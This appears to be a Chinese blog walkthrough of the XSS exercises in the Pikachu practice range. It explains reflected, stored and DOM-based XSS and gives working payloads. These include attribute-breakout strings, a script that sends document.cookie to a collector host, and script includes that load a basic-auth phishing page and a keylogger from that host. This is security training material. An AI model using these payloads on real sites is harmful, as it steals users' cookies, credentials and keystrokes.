前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >pikachu 靶场之XSS(跨站脚本) -上篇

pikachu 靶场之XSS(跨站脚本) -上篇

作者头像
亿人安全
发布2022-06-30 14:59:15
1.7K0
发布2022-06-30 14:59:15
举报
文章被收录于专栏:红蓝对抗

前言

大家好,我是Leon-pi,可以叫我pipi,新人报道,是个菜鸟,由于个人也是在学习过程中,文章写的也不是面面俱到,尽善尽美,请见谅。

XSS也是一种代码注入技术,劫持的是用户的浏览器

一、基础概览

Cross-Site Scripting 简称为 "CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。

XSS在OWASP TOP10的排名中一直属于前三,是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

XSS漏洞可以用来进行钓鱼攻击、前端js挖矿,用户cookie获取(篡改信息...),网页挂马,DOS攻击(频繁刷新界面),获取客户端信息(用户浏览历史,真实IP,开放端口),传播XSS跨站脚本蠕虫甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等

分类

  • 反射性XSS
  • 存储型XSS
  • DOM型XSS

危害程度

存储型(永久型) > 反射型 > DOM型

反射型:一次性(非持久)。一般出现在查询类页面等,访问了恶意的链接(短链接构造)。发送给用户让用户点击(邮件钓鱼等形式)

存储型:交互的数据会被存在数据库中,永久性存储。一般出现在留言板,论坛,信息发布,电子商城,注册等页面。

DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

基础再巩固:

XSS是通过向 存在XSS漏洞的网站上注入了恶意代码,用户浏览并访问了该网站从而引发的一种漏洞。

反射型XSS:简单的将用户输入的数据 "反射" 给浏览器。引诱用户点击一个恶意链接,才能攻击成功,非持久性XSS。

用户恶意输入数据--->服务器--->用户访问--->用户浏览器解析执行

存储型XSS:用户输入数据永久 "存储" 在服务器端,稳定性强,每次访问都会被执行。

用户恶意输入数据--->服务器存储在数据库--->用户访问--->浏览器解析执行

DOM型XSS:纯前端漏洞,服务器端无法防御,前端通过 JS 操作DOM 中节点(遍历,获取,修改对应的节点,对象,值)实现。即可能是反射型,也可能是存储型。这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型和存储型是后端代码中存在了漏洞。

二、实验认知

反射型 XSS(get)

1 首先随便输入点内容,看回显吧!

2 什么也不输入,直接submit

3 输入kobe ,submit

通过以上现象我们发现,输入的内容,以get方式进行发送的。

4 构造链接(弹窗)

payload

代码语言:javascript
复制
<script>alert("xss")</script>

成功弹窗,存在XSS漏洞

5 总结

反射型 XSS 执行流程:用户输入--->后端服务器响应--->用户浏览器解析执行。利用用户对网站的信赖。

利用:构造恶意JS链接(带有跨站脚本URL伪装)--->诱导受害者点击--->攻击完成,一次性攻击。

场景:一般出现在查询类页面中

存储型 XSS

1 直接上payload

代码语言:javascript
复制
attack<script>alert("attack")</script>

成功弹窗,存在XSS漏洞

2 总结

存储型XSS漏洞和反射型形成原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害。

利用:每当有用户访问该站点就会中招,持久型攻击

场景:一般出现在留言板界面中

DOM型 XSS

1 根据要求点一下

2 看起来是个超链接,再点一下。根据浏览器的反应,应该是个跳转链接

3 输入内容,再点一下,提示404 not found,ok初步判断,跳转链接为我们输入的内容

4 查看网页源码,验证猜想

5 通过分析源代码,确认无疑( 用JS 操作 DOM元素),URL跳转终点就是我们输入的内容

6 构造闭合,实现弹窗,payload如下

代码语言:javascript
复制
#' onclick="alert('attack')">
或
#' onmouseover="alert('DOM XSS')">
或
#'><img src="#" onmouseover="alert('attack')">
或
#'><img src="1.png" onerror="alert('waring')">

7 成功弹窗,存在XSS 漏洞

DOM型 XSS-X

1 老规矩,先点点再说,这里发现。。如下

2 再点击

3 输入内容再来一遍,ok,404 not found

4 查看源代码,虽然写的挺多,经过分析,跟原来没什么区别。

5 构造闭合,payload如下

代码语言:javascript
复制
#' onmouseover="alert('DOM XSS')">

6 成功弹窗,存在XSS 漏洞

DOM XSS 总结

DOM型XSS:纯前端漏洞,是一种特殊的反射型XSS,不与后台服务器产生数据交互,前端通过 JS 操作DOM 元素(遍历,获取,修改对应的节点,对象,值)实现。

类型:即可能是反射型,也可能是存储型。

利用:也需要受害者点击链接来触发

区别:DOM型XSS是前端代码中存在了漏洞,而反射型和存储型是后端代码中存在了漏洞。

三、XSS 漏洞利用

准备工作

XSS 后台初始化,根据提示操作即可

修改后台源代码,如下

反射型XSS(get)获取用户cookie

1 payload 如下

代码语言:javascript
复制
<script>document.location = 'http://192.168.154.135/pikachu/pkxss/xcookie/cookie.php?cookie=' %2B document.cookie;</script>
当前页面拥有的 cookie

2 提交payload,查看后台 cookie收集结果,结果如下

因为之前做过测试,所以id从6开始,正常从1开始

反射型XSS(post)获取用户cookie

1 首先登录账号(admin/123456)

2 随便输入内容,点击提交,发现输入的内容直接拼接到界面中

看到这里你是不是觉得这个不是跟get类型一样嘛,对的,原理是一样的,但是,提交方式是以表单方式提交的,这时就无法将恶意代码嵌入到URL中发给目标。

3 修改伪造表单界面源代码(利用pikachu自带的表单 post.html)

4 payload

代码语言:javascript
复制
http://192.168.154.135/pikachu/pkxss/xcookie/post.html

5 刷新后台,即可查看到结果

6 修改 cookie 值,受害者点击链接,刷新后台

XSS 漏洞利用之 钓鱼

1 鱼饵--basic认证

代码语言:javascript
复制
WWW-Authenticate:Basic

2 修改后台数据接收界面

3 payload

代码语言:javascript
复制
<script src="http://192.168.154.135/pikachu/pkxss/xfish/fish.php"></script>

---填坑---

工具包准备

=频繁弹窗问题=

原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。

解决方案:重新部署环境

PHP集成开发环境启动Apache如下

1 配置Apache

将Apache解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录,如这里解压在E:\Apache24目录

然后使用管理员权限打开CMD,执行以下命令

代码语言:javascript
复制
httpd.exe -k install -n apache2

进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问127.0.0.1测试

2 配置PHP

解压PHP压缩包,打开Apache的httpd.conf文件,在最后面增加配置(写自己的PHP目录)

重启Apache,并Apache安装目录下的htdocs目录新建一个phpinfo.php,写入以下内容:

代码语言:javascript
复制
 <?php
 phpinfo();
 ?>

最后通过浏览器访问:http://127.0.0.1/phpinfo.php,可以看到Server APIApache 2.0 Handler

4 继续复现钓鱼攻击

先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开

找到extension = mysqli,将前面;去掉

找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext

代码语言:javascript
复制
extension_dir = "E:\php-7.4\ext"

Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可

5 payload 放到反射型XSS(get)测试

这里没有弹窗问题了,但是后台始终没有获取到数据,经过一番代码调试最终解决了问题

6 修改 fish.php 代码

7 重试,后台成功获取结果

XSS 利用之 获取键盘记录

前置知识

1 跨域
2 同源策略

同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所有浏览器都约定了"同源策略"

同源策略规定:

代码语言:javascript
复制
两个不同域名之间不能使用JS进行相互操作,
例如 x.com 域名下的JavaScript并不能操作 y.com下的对象
3 不受同源策略限制
  • 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
  • 跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。
4 若想跨域操作,则需要管理员进行特殊的配置

比如通过:header("Access-Control-Allow-Origin:x.com")指定

键盘记录获取

1 修改访问界面(rk.js)
2 设置允许跨域访问
3 构造payload
代码语言:javascript
复制
<script src="http://192.168.154.135/pikachu/pkxss/rkeypress/rk.js"></script>
4 键盘击键结果如下

结语:

本人菜弟弟一个,大佬勿喷,谢谢

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、基础概览
    • 分类
      • 危害程度
        • 基础再巩固:
        • 二、实验认知
          • 反射型 XSS(get)
            • 1 首先随便输入点内容,看回显吧!
            • 2 什么也不输入,直接submit
            • 3 输入kobe ,submit
            • 4 构造链接(弹窗)
            • 5 总结
          • 存储型 XSS
            • 1 直接上payload
            • 2 总结
          • DOM型 XSS
            • 1 根据要求点一下
            • 2 看起来是个超链接,再点一下。根据浏览器的反应,应该是个跳转链接
            • 3 输入内容,再点一下,提示404 not found,ok初步判断,跳转链接为我们输入的内容
            • 4 查看网页源码,验证猜想
            • 5 通过分析源代码,确认无疑( 用JS 操作 DOM元素),URL跳转终点就是我们输入的内容
            • 6 构造闭合,实现弹窗,payload如下
            • 7 成功弹窗,存在XSS 漏洞
          • DOM型 XSS-X
            • 1 老规矩,先点点再说,这里发现。。如下
            • 2 再点击
            • 3 输入内容再来一遍,ok,404 not found
            • 4 查看源代码,虽然写的挺多,经过分析,跟原来没什么区别。
            • 5 构造闭合,payload如下
            • 6 成功弹窗,存在XSS 漏洞
          • DOM XSS 总结
          • 三、XSS 漏洞利用
            • 准备工作
              • XSS 后台初始化,根据提示操作即可
              • 修改后台源代码,如下
            • 反射型XSS(get)获取用户cookie
              • 1 payload 如下
              • 2 提交payload,查看后台 cookie收集结果,结果如下
            • 反射型XSS(post)获取用户cookie
              • 1 首先登录账号(admin/123456)
              • 2 随便输入内容,点击提交,发现输入的内容直接拼接到界面中
              • 3 修改伪造表单界面源代码(利用pikachu自带的表单 post.html)
              • 4 payload
              • 5 刷新后台,即可查看到结果
              • 6 修改 cookie 值,受害者点击链接,刷新后台
            • XSS 漏洞利用之 钓鱼
              • 1 鱼饵--basic认证
              • 2 修改后台数据接收界面
              • 3 payload
            • ---填坑---
              • 工具包准备
              • =频繁弹窗问题=
              • 4 继续复现钓鱼攻击
              • 5 payload 放到反射型XSS(get)测试
              • 6 修改 fish.php 代码
              • 7 重试,后台成功获取结果
            • XSS 利用之 获取键盘记录
              • 前置知识
              • 键盘记录获取
          相关产品与服务
          云数据库 MySQL
          腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档